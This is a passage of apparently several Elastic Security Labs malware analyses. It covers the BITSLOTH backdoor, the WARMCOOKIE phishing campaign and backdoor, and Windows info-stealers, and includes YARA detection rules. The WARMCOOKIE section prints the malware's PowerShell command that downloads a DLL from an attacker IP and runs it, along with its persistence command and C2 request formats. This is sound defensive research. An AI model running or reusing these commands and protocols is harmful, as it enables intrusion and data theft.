• Collecting Windows services via EnumServicesStatusW
• Enumerating all top-level Windows via EnumWindows with a callback function
• Retrieving system information via windows utilities such as systeminfo and msinfo32

In many of the handlers, the locale version is configured to chs (Chinese - Simplified).

BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:

• GET_DESKDOP → CSIDL_DESKTOPDIRECTORY (Desktop)
• GET_BITBUCKET -> CSIDL_BITBUCKET (Recycle Bin)
• GET_PERSONAl -> CSIDL_MYDOCUMENTS (My Documents)

BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows tree utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named aghzyxklg.

The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment.

Collection

In terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.

BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (capGetDriverDescriptionW).

BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (||) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name ciakfjoab and compressed with the DEFLATE algorithm using a .ZIP archive. These timestamped zipped archives are then sent out to the C2 server.

The handler leverages common screenshot APIs such as CreateCompatibleBitmap and BitBlt from Gdi32.dll.

For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using GetAsyncKeyState/GetKeyState. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a .ZIP file and sent outbound to the C2 server.

Execution / Maintenance

BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:

• Capability to execute files stand-alone via ShellExecuteW
• Windows terminal capability to execute commands and read data back via pipes
• Create directories, perform reboots, shutdown the machine, terminate processes
• Perform file upload and download between C2 server
• Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features

BITSLOTH pivots

BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (15.235.132[.]67) using the same port (8443) with the same SSL certificate used from our intrusion.

While it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (1fcc35ea), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.

A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.

REF 8747 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

[h4] Tactics Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Discovery
• Execution
• Exfiltration
• Persistence

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• BITS Jobs
• System Information Discovery
• Hijack Execution Flow: DLL Side-Loading
• Screen Capture
• Input Capture: Keylogging
• Proxy

Detecting REF8747

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

• Persistence via BITS Job Notify Cmdline
• LSASS Access Attempt via PPL Bypass
• LSASS Access Attempt from an Unsigned Executable
• Suspicious Parent-Child Relationship
• Credential Access via Known Utilities
• Shellcode Injection

YARA Signatures

• Windows.Hacktool.Mimikatz
• Windows.Trojan.BITSloth
• Windows.Hacktool.Iox
• Windows.Hacktool.Rubeus
• Windows.Hacktool.Certify
• Windows.Hacktool.RingQ
• Windows.Hacktool.GodPotato
• Multi.Hacktool.Stowaway

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:

rule Windows_Trojan_BITSLOTH_05fc3a0a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-07-16"
        last_modified = "2024-07-18"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.BITSLOTH"
  	 license = "Elastic License v2"

    strings:
        $str_1 = "/%s/index.htm?RspID=%d" wide fullword
        $str_2 = "/%s/%08x.rpl" wide fullword
        $str_3 = "/%s/wu.htm" wide fullword
        $str_4 = "GET_DESKDOP" wide fullword
        $str_5 = "http://updater.microsoft.com/index.aspx" wide fullword
        $str_6 = "[U] update error..." wide fullword
        $str_7 = "RMC_KERNEL ..." wide fullword
        $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
        $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master
• https://github.com/T4y1oR/RingQ
• https://github.com/EddieIvan01/iox
• https://github.com/ph4ntonn/Stowaway/

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

Elastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new backdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage, our team identified code overlap with a previously publicly reported sample by eSentire. The unnamed sample (resident2.exe) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality. Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.

WARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.

This post will review an observed campaign and this new malware’s functionality. While the malware has a limited number of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global scale.

Key takeaways

• REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor: WARMCOOKIE
• WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim machine, and deploy additional payloads
• Threat actors are spinning up new domains and infrastructure weekly to support these campaigns
• This research includes an IDAPython script to decrypt strings from WARMCOOKIE
• Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain

REF6127 campaign overview

Since late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected from previous open source reporting.

Once clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns documented by Google Cloud’s security team when discussing a new variant of URSNIF. Below is an example of the landing page collected from previous open source reporting.

Once the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named Update_23_04_2024_5689382.js; however, other samples used a different but similar naming structure.

This obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.

The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run the DLL with the Start export.

start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + 
    [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 
    'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' 
    -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + 
    ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job

REF6127 infrastructure overview

By leveraging tools like urlscan.io and VirusTotal, we observed the threat actor continually generating new landing pages rapidly on IP address 45.9.74[.]135. The actor pushed to target different recruiting firms in combination with keywords related to the job search industry.

Before hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial phishing URL, which redirects the different landing pages.

The threat actor generates new domains while the reputation catches up with each domain after each campaign run. At the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.

WARMCOOKIE malware anlaysis

WARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the PowerShell download with the execution of WARMCOOKIE using the Start export.

Stage 1

Stage 1 copies the downloaded DLL from a temporary directory with a random name, such as: wid4ta3v.3gm, and places a copy of the DLL at C:\ProgramData\RtlUpd\RtlUpd.dll

After the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to run with the following parameters.

"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p

With this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a screenshot from Hatching Triage showing these two stages:

Persistence

A critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the infection. The task name (RtlUpd) is scheduled to run every 10 minutes every day.

Stage 2

The second stage is where the DLL is combined with the command line (Start /p) and contains the core functionality of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell download.

Obfuscation

WARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted string in the .rdata section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes represent the string.

Below is the CyberChef recipe using the bytes from the screenshot above:

One interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted strings.

Dynamic API loading

To prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.

As demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is wiped from memory immediately after use, potentially avoiding memory signature scans.

Anti-debugging

The malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for checking the active number of CPU processors and physical/virtual memory values.

Below are the following conditions:

• If the number of processors is greater than or equal to 4 and the calculated value from the GlobalMemoryStatusEx call is greater than or equal to 0xF00, the malware will continue execution
• If the number of processors is greater than or equal to 8, the malware will continue execution
• If the calculated value from the GlobalMemoryStatusEx call is greater than 0x2000, the malware will continue execution

Mutex

Each WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we have observed:

• f92e6f3c-9cc3-4be0-966c-1be421e69140
• 91f785f4-2fa4-4c85-954d-b96768ca76f2

Before the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments with /p returns True or to check whether the scheduled task persistence needs to be created.

Execution

Before the backdoor makes its first outbound network request, it captures the following values used to fingerprint and identify the victim machine.

• Volume serial number
• DNS domain of the victim machine
• Computer name
• Username

This was a criteria used to identify the similarities to the malware in eSentire’s report.

The WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the checksum function is called with different seeds. We believe the developer added this step to make it a little harder for researchers to analyze and waste time.

The following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:

• CRC32(c2_message_data)
• CRC32(mutex) ^ volume serial number
• CRC32(username) ^ CRC32(computer name)

Below is the implementation in Python with a usage example in the Appendix:

def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] << 8)
        for _ in range(16):
            if (v6 ^ i) & 1:
                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
            else:
                i = (i >> 1) & 0xFFFFFFFF
            v6 >>= 1

    return ~i & 0xFFFFFFFF

Communication

WARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4 and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key being used in multiple samples. The key during this analysis is 24de21a8dc08434c

The malware uses a custom structure to send the initial request to the C2 server, including the previously described checksum values and several fields used to track the offsets and size of the variable data.

These values are sent through the HTTP cookie parameter using the following custom structure:

enum request_type
{ 
    REGISTRATION = 1, 
    COMMAND = 2 
};

struct os_info
{
    int major_version;
    int minor_version;
    int build_number;
    int version_calc;
};

struct initial_request
{
    int checksum_c2_message_data;
    int checksum_volume_mutex;
    int checksum_computer_name_username;
    request_type request_type;
    os_info os_ver;
    int offset_to_dns_domain;
    int size_base64_dns_domain;
    int offset_to_base64_computer_name;
    int size_base64_computer_name;
    int offset_to_base64_username;
    int size_base64_username;
    char base64_dns_domain[]; // Variable-length array
    char base64_username[]; // Variable-length array
    char base64_computer_name[]; // Variable-length array 
};

The first request to the C2 server is sent through a GET request using User Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705.

GET http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69[.]41
Connection: Keep-Alive
Pragma: no-cache

Below is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of the fields:

WARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function. For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the beginning (offset 0). Using the example above, this checksum value is 0xe51387e9

Before the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2 server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is located in the first four bytes of the request.

Below is a demonstration of this integrity check where the request data’s hash is 0x50d26cc3.

If the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to move to the next command handler.

Bot functionality

WARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.

Retrieve victim details - command ID (1)

This handler fingerprints and identifies the victim machines by collecting the IP address and CPU information. Interestingly, the imports required for this handler are statically imported.

The malware uses HTTP POST requests when sending data back to the C2 server. The HTTP POST request data is encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64 encoded.

POST http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69.41
Content-Length: 136
Connection: Keep-Alive
Pragma: no-cache

  qI:f*m  yڂ  z ? !  ,!w   k i A  K    k8 .(M ޣ> ދ  u[ôz  0 -U~    9 z G(  *X  o_  _      * Y, q  glTs   XI8b\)W   W"

After decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64 encoded data is the IP Address and CPU info.

Screenshot capture - command ID (2)

The ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing sensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically loads Windows DLLs used for graphics and drawing operations, such as GDI32.DLL and GDIPLUS.DLL, and then uses various APIs, such as BitBlt,CreateCompatibleBitmap, and GetSystemMetrics to generate the screenshot.

The collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.

By looking for the file header JPEG File Interchange Format (JFIF), we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.

Retrieve installed programs - command ID (3)

This handler enumerates the installed programs on the victim machine via the registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

The program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along with the checksum data, offsets, and sizing.

Below is an example of one of the registry entries:

Command-line execution - command ID (4)

WARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument that gets executed to cmd.exe /c without a console window.

In the example below, whoami is provided as the argument:

This function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server. Below is an example of the decrypted data for this handler:

Write file - command ID (5)

WARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.

As a test, we can write a file within a directory with some data and then read it in the next handler.

Depending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values:

• OK
• ERROR: Cannot write file

Read file - command ID (6)

This handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the file path as the argument.

Depending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values along with the file contents:

• OK (See 'Files' tab)
• ERROR: Cannot read file

Based on the previous wording around a Files tab, the WARMCOOKIE operators may use a GUI element.

Remove persistence - command ID (10)

This handler removes the previously configured scheduled task with the name RtlUpd. By leveraging COM, it will call DeleteFileW within mstask.dll to remove the task.

IDA string decryption tool

Elastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and IDA commenting tool can be downloaded here.

Conclusion

WARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting users across the globe. Our team believes this malware represents a formidable threat that provides the capability to access target environments and push additional types of malware down to victims. While there is room for improvement on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will continue to monitor this threat and recommends that the industry do the same.

WARMCOOKIE and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Discovery
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
• User Execution: Malicious Link
• Command and Scripting Interpreter: PowerShell
• System Information Discovery
• Scheduled Task/Job
• Screen Capture
• Command and Scripting Interpreter: Windows Command Shell

Preventing and detecting WARMCOOKIE

Prevention

• Suspicious PowerShell Downloads
• Scheduled Task Creation by an Unusual Process
• Suspicious PowerShell Execution via Windows Scripts
• RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS
• RunDLL32 with Unusual Arguments
• Windows.Trojan.WarmCookie

Detection w/YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify WARMCOOKIE:

rule Windows_Trojan_WarmCookie_7d32fa90 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-04-29"
        last_modified = "2024-05-08"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.WarmCookie"
        license = "Elastic License v2"

     strings:
        $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
        $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
        $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
        $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
        $plain_str1 = "release.dll" ascii fullword
        $plain_str2 = "\"Main Invoked.\"" ascii fullword
        $plain_str3 = "\"Main Returned.\"" ascii fullword
        $decrypt_str1 = "ERROR: Cannot write file" wide fullword
        $decrypt_str2 = "OK (No output data)" wide fullword
        $decrypt_str3 = "OK (See 'Files' tab)" wide fullword
        $decrypt_str4 = "cmd.exe /c %ls" wide fullword
        $decrypt_str5 = "Cookie:" wide fullword
        $decrypt_str6 = "%ls\\*.*" wide fullword
    condition:
        (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
• https://x.com/Cryptolaemus1/status/1785423804577034362

Appendix

Checksum example

def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] << 8)
        for _ in range(16):
            if (v6 ^ i) & 1:
                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
            else:
                i = (i >> 1) & 0xFFFFFFFF
            v6 >>= 1

    return ~i & 0xFFFFFFFF


serial_volume = 0x0A2C9AD2F

mutex = "f92e6f3c-9cc3-4be0-966c-1be421e69140".encode("utf-16le")
mutex_result = calculate_checksum(mutex, len(mutex), -1)

username = "REM\x00".encode("utf-16le")
username_result = calculate_checksum(username, len(username), -1)

computer_name = "DESKTOP-2C3IQHO".encode("utf-16le")
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)

print(f"Mutex: {hex(mutex_result)}")
print(f"Username: {hex(username_result)}")
print(f"Computer Name: {hex(computer_name_result)}")
print(f"#1 Checksum: {hex(serial_volume ^ mutex_result)}")
print(f"#2 Checksum: {hex(username_result ^ computer_name_result)}")

This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.

Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.

Telemetry overview

The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.

Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.

In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.

Elastic telemetry data May 2023 - May 2024

Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.

A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.

Top stealers overview

REDLINE (REDLINE STEALER)

REDLINE made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.

The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample reported by vx-underground indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.

REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:

• System information acquisition:
• Collects essential system details such as UserName, Language, and Time Zone
• Retrieves hardware specifics including processor and graphic card information
• Monitors running processes and identifies installed browsers
• Data extraction:
• Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries
• Procures VPN login credentials for unauthorized access
• Logs user credentials and chat histories from platforms like Discord and Telegram
• Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:

REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:

Its configuration is structured within a static class, containing four public fields: IP, ID, Message, and an XOR Key. The IP and ID fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:

METASTEALER

METASTEALER emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously reported by CERT as Orange Polska.

METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.

This METASTEALER sample utilizes the AGILE.NET obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.

Looking at the code above, we can see the method Delegate11.smethod_0 calls a Delegate11.delegate11_0 which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.

At runtime, the malware will initialize the delegate. by calling the method Class4.smethod_13 in the constructor of Delegate11 class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., 0x040002DE), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.

Following this, it will generate a dynamic method for the delegate and execute it using the smethod_0 function.

All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called Strings that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.

Initially, the AES parameters, such as the AES KEY and AES IV, undergo decryption. In the provided example, the AES KEY and AES IV are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.

The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the Strings.Array list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example String.get(6).

STEALC

A recent major player in the stealer space discovered by Sekoia in February 2023 is the STEALC family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.

STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.

There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.

STEALC performs a sandbox/emulation test using a more obscure Windows API (VirtualAllocExNuma) to allocate a large amount of memory. If the API is not implemented, the process will terminate.

The malware performs another sandbox check by reading values from GlobalMemoryStatusEx. After a byte shift against the collected attributes of the physical memory, if the value is less than 0x457 the sample will terminate.

The malware will stop execution if the language identifier matches one of the following LangIDs:

• Russian_Russia (0x419)
• Ukrainian_Ukraine (0x422)
• Belarusian_Belarus (0x423)
• Kazakh_Kazakhstan (0x43f)
• Uzbek_Latin__Uzbekistan (0x443)

STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in LOBSHOT. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username JohnDoe and computer name of HAL9TH.

One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.

STEALC - Execution flow

After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:

f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|

After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.

Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|

At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.

• Hardware ID
• Windows OS product info
• Processor / RAM information
• Username / computername
• Local system time / time zone / locale of victim
• Keyboard layout
• Battery check (used to determine if laptop or not)
• Desktop resolution, display info
• Installed programs, running processes

For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:

• Browser cookies
• Login data
• Web data
• History
• Cryptocurrency wallets

STEALC also offers other various configuration options including:

• Telegram data
• Discord
• Tox
• Pidgin
• Steam
• Outlook emails

Detection

